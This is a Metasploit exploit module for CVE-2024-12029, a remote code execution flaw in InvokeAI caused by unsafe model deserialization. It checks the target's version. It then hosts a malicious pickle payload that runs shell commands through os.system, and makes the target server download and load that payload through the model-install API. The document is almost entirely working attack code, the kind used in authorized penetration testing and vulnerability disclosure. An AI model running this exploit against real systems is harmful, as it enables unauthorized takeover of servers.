InvokeAI Remote Code Execution Exploit

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::HttpServer
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'InvokeAI RCE',
        'Description' => %q{
          InvokeAI has a critical vulnerability leading to remote code execution in the /api/v2/models/install API through unsafe model deserialization.
          The API allows users to specify a model URL, which is downloaded and loaded server-side using torch.load without proper validation.
          This functionality allows attackers to embed malicious code in model files that execute upon loading.
        },
        'Author' => [
          'jackfromeast',     # Vulnerability discovery and PoC
          'Takahiro Yokoyama' # Metasploit module
        ],
        'License' => MSF_LICENSE,
        'References' => [
          ['CVE', '2024-12029'],
          ['URL', 'https://huntr.com/bounties/9b790f94-1b1b-4071-bc27-78445d1a87a3'],
        ],
        'Platform' => %w[linux],
        'Targets' => [
          [
            'Linux Command', {
              'Arch' => [ ARCH_CMD ], 'Platform' => [ 'unix', 'linux' ], 'Type' => :nix_cmd
            }
          ],
        ],
        'DefaultOptions' => {
          'FETCH_DELETE' => true
        },
        'DefaultTarget' => 0,
        'Payload' => {
          'BadChars' => '\'"'
        },
        'Stance' => Msf::Exploit::Stance::Aggressive,
        'DisclosureDate' => '2025-02-07',
        'Notes' => {
          'Stability' => [ CRASH_SAFE, ],
          'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],
          'Reliability' => [ REPEATABLE_SESSION, ]
        }
      )
    )
    register_options(
      [
        Opt::RPORT(9090),
      ]
    )

    register_advanced_options([
      OptPort.new('SRVPORT', [true, 'The local port to listen HTTP requests from target', 8081 ]),
      OptInt.new('HTTPDELAY', [false, 'Number of seconds the web server will wait before termination', 10])
    ])
  end

  def check
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'api/v1/app/version')
    })
    return Exploit::CheckCode::Unknown unless res&.code == 200

    json_version = res&.get_json_document&.fetch('version', nil)
    return Exploit::CheckCode::Unknown('Failed to parse version.') unless json_version

    version = Rex::Version.new(json_version)
    return Exploit::CheckCode::Unknown('Failed to get version.') unless version

    return Exploit::CheckCode::Safe("Version #{version} detected, which is not vulnerable.") unless version.between?(Rex::Version.new('4.0.0'), Rex::Version.new('5.4.2'))

    Exploit::CheckCode::Appears("Version #{version} detected.")
  end

  def on_request_uri(cli, _request)
    send_response(cli, Msf::Util::PythonDeserialization.payload(:py3_exec_threaded, "import os;os.system('#{payload.encoded}')"))
  end

  def primer
    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'api/v2/models/install'),
      'headers' => { 'Content-Type' => 'application/json' },
      'vars_get' => {
        # Malicious model path, not .pkl
        'source' => "#{get_uri}/#{rand_text_alpha(8)}.ckpt",
        'inplace' => 'true'
      },
      'data' => {}.to_json
    })
    fail_with(Failure::Unknown, 'Unexpected server reply.') unless res&.code == 201
  end

  def exploit
    Timeout.timeout(datastore['HTTPDELAY']) { super }
  rescue Timeout::Error
    # When the server stops due to our timeout, this is raised
  end

end